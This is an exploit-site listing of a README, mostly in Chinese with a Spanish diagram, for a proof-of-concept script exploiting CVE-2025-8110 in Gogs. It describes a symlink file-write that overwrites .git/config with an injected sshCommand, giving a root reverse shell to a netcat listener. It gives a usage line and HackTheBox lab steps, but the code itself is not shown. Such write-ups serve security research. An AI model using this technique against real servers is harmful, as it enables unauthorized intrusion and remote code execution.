Sploitus

Exploit for CVE-2025-8110

kitploit · 2026-09-01

Exploit Code

MARKDOWN90 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-XDEZEN-CVE-2025-8110
# Gogs 任意文件写入至远程代码执行漏洞 (CVE-2025-8110) - 教育用途的利用工具

此仓库包含一个 Python 概念验证(PoC)脚本,用于演示和分析在自托管的 Git 服务 **Gogs** (版本 0.13.3 及更早版本)中记录的漏洞 **CVE-2025-8110** 。

* * *

## ⚠️ 免责声明(Disclaimer)

> [!WARNING] **本软件仅供教育和安全研究目的使用。** 未经所有者事先书面同意,将此材料用于目标是非法的。本仓库的作者不对因使用本代码造成的任何损害、损失或滥用负责。请自行承担风险,并仅在受控环境或授权的模拟(如 CTF 实验室)中使用。

* * *

## 什么是 CVE-2025-8110?

**CVE-2025-8110** 是一个严重的**任意文件写入** 漏洞,由于在通过 Gogs 的 `PutContents` API 处理符号链接( _symlinks_ )时验证不足而引发。

### 影响机制

一个经过身份验证的攻击者可以:

  1. 创建一个包含符号链接的本地 Git 仓库,该符号链接指向仓库文件夹之外的敏感文件(例如,服务器自身的配置文件 `.git/config`)。
  2. 将此仓库推送( _push_ )到 Gogs 服务器。
  3. 使用 Gogs API 修改符号链接文件。由于 API 不验证目标是否为快捷方式,底层操作系统会跟随链接,以运行 Gogs 的权限覆盖系统文件。
  4. 如果 Gogs 服务以 `root` 身份运行,文件写入可以升级为**远程代码执行(RCE)** ,方法是将所需命令注入 Git 配置文件的 `sshCommand` 属性。



* * *

## 代码说明(`exploit.py`)

该脚本使用有效凭据和在 Gogs 网页界面中手动预先生成的 API 令牌来自动化整个利用过程:

root@kitploit:~
    
    
              ┌──────────────────────────────────────────────┐
              │          Máquina del Atacante (Kali)         │
              └──────────────────────┬───────────────────────┘
                                     │
             (1) Crea Repositorio    │ (3) Sube Symlink (.git/config)
             Malicioso vía API       │     vía git push
                                     ▼
              ┌──────────────────────────────────────────────┐
              │      Túnel SSH Local (puerto 8080)           │
              └──────────────────────┬───────────────────────┘
                                     │
                                     ▼
              ┌──────────────────────────────────────────────┐
              │           Servidor Víctima Gogs              │
              │              (Puerto 3001)                   │
              └──────────────────────┬───────────────────────┘
                                     │
                                     │ (4) API PUT "contents"
                                     │     Sigue Symlink y escribe
                                     │     "sshCommand" en .git/config
                                     ▼
              ┌──────────────────────────────────────────────┐
              │     Ejecución del Payload como ROOT          │
              └──────────────────────────────────────────────┘
    

### 脚本主要组件:

  1. **`create_malicious_repo`** :使用提供的访问令牌向 Gogs API (`/api/v1/user/repos`) 发送 `POST` 请求,以创建一个具有动态生成随机名称的新仓库。
  2. **`upload_malicious_symlink`** : 
     * 将新创建的仓库克隆到本地临时文件夹 `/tmp/`。
     * 在攻击者机器上本地创建一个指向 `.git/config`(服务器的 Git 配置文件)的符号链接。
     * 执行 _commit_ 并通过系统命令(`git push`)将更改推送回服务器。
  3. **`exploit`** :利用 Git 的 `sshCommand` 属性中的注入技巧定义负载(payload)。通过 API 更新内容时,Gogs 被迫覆盖服务器上自身的 `.git/config`。当 Git 流程的最后部分被触发时,Gogs 系统执行终端命令(一个 Bash 反向 Shell),将连接返回给您的 Netcat 监听器。



* * *

## 实验室使用指南(HTB - Silentium)

### 前提条件

在运行脚本之前,请确保在 Git 中配置全局身份信息,以避免自动提交时出错:

root@kitploit:~
    
    
    git config --global user.email "some-email@example.com"
    git config --global user.name "estudiante"
    

### 使用: python3 exploit.py -u (http://127.0.0.1:8080) -lh <TU_IP_VPN> -lp 4446